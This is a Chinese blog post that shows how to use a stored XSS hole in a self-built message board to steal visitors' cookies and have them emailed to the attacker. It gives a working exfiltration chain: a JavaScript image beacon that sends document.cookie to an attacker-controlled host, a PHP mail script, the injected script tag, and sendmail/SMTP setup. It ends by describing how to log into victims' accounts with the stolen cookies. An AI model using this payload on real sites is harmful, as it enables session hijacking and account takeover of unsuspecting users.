美文网首页网络安全我爱编程
XSS获取cookie并发送自己邮箱

XSS获取cookie并发送自己邮箱

作者: BerL1n | 来源:发表于2018-05-23 19:51 被阅读998次
    存储型XSS可以打到cookie,然后利用cookie去登陆别人账户,一般大家都使用XSS平台获取cookie,突发奇想,让自己打到的cookie发到邮箱里是不是方便?于是尝试一下XSS获取cookie发送自己邮箱。这里我用自己做的简单留言板做个示范。
    图片.png

    这是登录界面,输入用户名进去后


    图片.png

    可以对留言内容进行XSS尝试,因为未作任何过滤,所以存在XSS的,这里不详细演示了,只看怎么获取cookie吧

    <script>alert(document.cookie)</script>

    图片.png 图片.png

    可以看到cookie已经出来了,这里好像我的留言板做的太简单了,因没做任何加密,,可以看到账号密码,不过这不是重点emmm,但这里的cookie只是自己的,这时别人登录也会弹出cookie但只能本人看到,因此我们要想办法获取别人的
    然后我自己写了个小脚本,用来获取别人的cookie,同样的方法插入xss代码,如果别人登录将会把别人的cookie发送到我邮箱里。
    因为是用php和js写的,所以我这里将php发送qq邮箱的方法说一下,毕竟这是困我好久的难题。
    其实方法也不难,不过遇到各种各样的麻烦
    关于配置sendmail,这是windows下的配置,ubuntu下没成功,有高手可以指点下。

    首先,这里我用的是wamp和用php mail()函数发送的邮件,php mail()函数在windows不能用,需要安装sendmail,假如是用的XAMPP,则已经下载好,不需要重新下载~

    1.从http://glob.com.au/sendmail/下载sendmail.zip
    2.解压到C(其他一样):下,例如C:\php\sendmail,最好短路径,长路径名有可能产生问题。
    3.开启SMTP服务:因为这里我用的qq发送,所以要开启qq邮箱的SMTP服务。
    所有的主流邮箱都支持 SMTP 协议,但并非所有邮箱都默认开启,您可以在邮箱的设置里面手动开启。
    第三方服务在提供了账号和密码之后就可以登录 SMTP 服务器,通过它来控制邮件的中转方式。
    (1)开启邮箱(进入qq邮箱点设置->帐户)

    图片.png
    (2)验证密保(图片临时找的不方便再)
    图片.png
    (3)生成授权码(授权码就是下面要用的东西,忘了图一会看到有生成授权码,没必要详记)
    图片.png
    4.配置sendmail文件:
    图片.png
    图片.png
    以下都是修改项
    [sendmail] 
    ; you must change mail.mydomain.com to your smtp server 
    smtp_server=smtp.qq.com 
    smtp_port=465 //特别注意:端口这里是465,不是25,网上有很多填25,腾讯邮箱特别说明了为465,还有一个忘了,困死我的地方,一直没发现这有错。
    auth_username=QQ号码@qq.com
    auth_password=授权码 //注意:这里是qq授权码不是邮箱密码,第一次就栽这个了,,网上有很多写密码的
    force_sender=QQ号码@qq.com
    

    5.配置php.ini文件
    打开wamp的php.ini然后搜索“[mail function]”,找到下面文本块,修改以下三样


    图片.png
    [mail function] 
    ; For Win32 only. 
    SMTP = smtp.qq.com //因为是qq邮箱
    smtp_port = 25 
    ; For Win32 only. 
    sendmail_from = qq号@qq.com 
    ; For Unix only. You may supply arguments as well (default: “sendmail -t -i”). 
    sendmail_path = “E:\wamp64\sendmail\sendmail.exe -t”//修改成自己的路径
    

    6.到这里就算配置完了,然后重启wamp

    然后开始用自己的脚本试试了,php发送邮件的脚本很容易,然后再加上获取cookie的js脚本,就成了

    <?php
    $cookie = $_GET['joke'];
    if(isset($_GET['joke']))
    {
    $to = "1057032770@qq.com";         // 邮件接收者
    $subject = "COOKIE";                // 邮件标题
    $message = $_GET['joke'];  // 邮件正文
    $from = "1057032770@qq.com";   // 邮件发送者
    $headers = "From:" . $from;         // 头部信息设置
    mail($to,$subject,$message,$headers);
    echo "邮件已发送";
    }
    else
        echo "邮件发送失败";
    ?>
    
    var img = document.createElement('img');
    img.width = 0;
    img.height = 0;
    img.src = 'http://localhost/Myphp/eamil0.php?joke='+encodeURIComponent(document.cookie);//这里是用本地环境测试的,可以换成自己的ip地址
    

    然后就可以用了

    <script src='http://localhost/Myphp/joke.js'></script> //joke.js是我的js文件名

    图片.png

    将这段代码留言就可以看到cookie了,任何人登录都可以收到他cookie

    图片.png

    可以看到已经成功收到cookie!!


    图片.png

    上面是本地测试,这是正常情况下的
    比如:服务器的ip地址也就是留言板地址为192.168.xx.xxx,现在我用本机去访问留言板,任何人都可已访问


    图片.png
    然后我充当攻击者,借用上面方法,修改为自己ip

    img.src = 'http://172.21.xx.xxx/Myphp/eamil0.php?joke='+encodeURIComponent(document.cookie); //自己路径

    然后在留言板留言

    <script src='http://172.21.xx.xxx/Myphp/joke.js'></script>

    这样每当受害者去访问服务器也就是登陆留言板就会获取他cookie,然后利用cookie不需要账号密码就可以登录他的号。

    相关文章

      网友评论

        本文标题:XSS获取cookie并发送自己邮箱

        本文链接:https://www.haomeiwen.com/subject/qdorjftx.html